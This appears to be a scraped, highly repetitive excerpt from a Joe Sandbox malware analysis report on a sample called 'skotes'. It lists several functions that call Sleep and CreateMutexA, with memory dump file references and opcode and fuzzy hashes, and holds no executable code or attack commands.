sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B8A963
CreateMutexA.KERNELBASE(00000000,00000000,00BE3254), ref: 00B8A981

Memory Dump Source

Source File: 00000002.00000002.2211661900.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000002.00000002.2211642134.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211661900.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211726487.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211745385.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211766707.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211882784.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211908376.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211935873.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211935873.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211984440.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212007165.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212027388.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212053040.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212075033.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212095083.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212115749.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212138577.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212161657.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212180221.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212199603.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212223956.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212244847.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212268954.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212291358.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212321805.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212339734.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212359612.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212381992.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212404685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212433729.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212455415.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212476561.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212499490.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212524826.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212560156.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212583740.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212604897.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212630026.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212648989.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212648989.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212709439.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212732275.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212760073.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212785203.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212807860.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212829136.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212857506.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212879557.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 3f02d1cb27c197f9d991411fb9368278b833ac200b3f91d2218e5a742702d5cc
Instruction ID: 404304540677420ffa11ca267c6602fde4edb3e45acfdd3c340d0cd108873a87
Opcode Fuzzy Hash: 3f02d1cb27c197f9d991411fb9368278b833ac200b3f91d2218e5a742702d5cc
Instruction Fuzzy Hash: E7314C31A041009BFB08EB78DCC97ADB7E2EBC6314F24829AE054DB3E5CB759981C752

Function 00B8A682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B8A963
CreateMutexA.KERNELBASE(00000000,00000000,00BE3254), ref: 00B8A981

Memory Dump Source

Source File: 00000002.00000002.2211661900.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000002.00000002.2211642134.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211661900.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211726487.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211745385.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211766707.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211882784.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211908376.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211935873.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211935873.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211984440.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212007165.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212027388.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212053040.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212075033.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212095083.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212115749.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212138577.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212161657.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212180221.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212199603.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212223956.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212244847.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212268954.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212291358.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212321805.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212339734.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212359612.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212381992.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212404685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212433729.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212455415.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212476561.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212499490.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212524826.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212560156.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212583740.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212604897.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212630026.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212648989.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212648989.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212709439.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212732275.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212760073.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212785203.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212807860.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212829136.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212857506.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212879557.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: b472561b780129a95a6be62dc59fdc9a2a0fbbad3bc643d6c2f19e15e5bc7938
Instruction ID: 50e1f4dcf9b0548543a90c98ca11c8dec4331d81fa5a046ed8131cf471f799d3
Opcode Fuzzy Hash: b472561b780129a95a6be62dc59fdc9a2a0fbbad3bc643d6c2f19e15e5bc7938
Instruction Fuzzy Hash: CB312A316042049BFB08EB78DCC97ADBBE2EB86314F24869AE054D73E5DB759980C752

Function 00B89ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B8A963
CreateMutexA.KERNELBASE(00000000,00000000,00BE3254), ref: 00B8A981

Memory Dump Source

Source File: 00000002.00000002.2211661900.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000002.00000002.2211642134.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211661900.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211726487.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211745385.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211766707.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211882784.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211908376.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211935873.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211935873.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211984440.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212007165.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212027388.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212053040.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212075033.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212095083.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212115749.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212138577.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212161657.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212180221.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212199603.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212223956.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212244847.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212268954.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212291358.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212321805.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212339734.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212359612.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212381992.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212404685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212433729.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212455415.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212476561.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212499490.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212524826.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212560156.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212583740.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212604897.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212630026.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212648989.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212648989.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212709439.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212732275.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212760073.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212785203.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212807860.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212829136.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212857506.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212879557.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 0561be7b038ad8ffda9a44fbcc643a968b45bfb3cbf8cb36d70d1922ee768677
Instruction ID: 960c1d17416ff4f16ef4c08d2d9fd567638b7b129d94a61468ba2a246b507159
Opcode Fuzzy Hash: 0561be7b038ad8ffda9a44fbcc643a968b45bfb3cbf8cb36d70d1922ee768677
Instruction Fuzzy Hash: B0213D316042009BFF18AB68ECC576DB7E2EBC1314F1442A9E444C72E1DB759941C751

Function 00B8A856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B8A963
CreateMutexA.KERNELBASE(00000000,00000000,00BE3254), ref: 00B8A981

Memory Dump Source

Source File: 00000002.00000002.2211661900.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000002.00000002.2211642134.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211661900.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211726487.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211745385.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211766707.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211882784.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211908376.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211935873.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211935873.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211984440.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212007165.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212027388.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212053040.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212075033.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212095083.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212115749.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212138577.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212161657.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212180221.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212199603.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212223956.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212244847.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212268954.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212291358.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212321805.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212339734.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212359612.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212381992.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212404685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212433729.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212455415.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212476561.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212499490.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212524826.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212560156.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212583740.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212604897.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212630026.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212648989.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212648989.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212709439.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212732275.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212760073.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212785203.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212807860.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212829136.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212857506.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212879557.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: c525dd2993c4d26789fb266034ee8067be2a7e14609fbf0c3b12471ca54a3078
Instruction ID: 216fefc7d75b6525037503784062802aecf1dcca86352da03d1afdd4db925f23
Opcode Fuzzy Hash: c525dd2993c4d26789fb266034ee8067be2a7e14609fbf0c3b12471ca54a3078
Instruction Fuzzy Hash: 9F2138716482019BFB2477A89C9A76DB3D2DB81304F2448E7E144D72F1DE659881C3A3

Function 00B8A34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B8A963
CreateMutexA.KERNELBASE(00000000,00000000,00BE3254), ref: 00B8A981

Memory Dump Source

Source File: 00000002.00000002.2211661900.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000002.00000002.2211642134.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211661900.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211726487.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211745385.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211766707.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211882784.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211908376.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211935873.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211935873.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211984440.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212007165.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212027388.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212053040.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212075033.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212095083.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212115749.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212138577.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212161657.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212180221.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212199603.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212223956.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212244847.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212268954.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212291358.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212321805.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212339734.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212359612.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212381992.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212404685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212433729.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212455415.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212476561.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212499490.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212524826.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212560156.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212583740.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212604897.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212630026.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212648989.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212648989.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212709439.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212732275.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212760073.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212785203.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212807860.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212829136.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212857506.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212879557.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 0e92126eb4375c225bb3e6777fd41c85954ac89f645bb3172d3c3ddd452668b2
Instruction ID: ec3d482623e7dea1855faa30555db75e006d9ec1fd3c75b9d81788a73778b192
Opcode Fuzzy Hash: 0e92126eb4375c225bb3e6777fd41c85954ac89f645bb3172d3c3ddd452668b2
Instruction Fuzzy Hash: CF212C317042009BFB18AB68DC8576DB7E2DBD6314F2442AAE444D77E4DB75A980C352

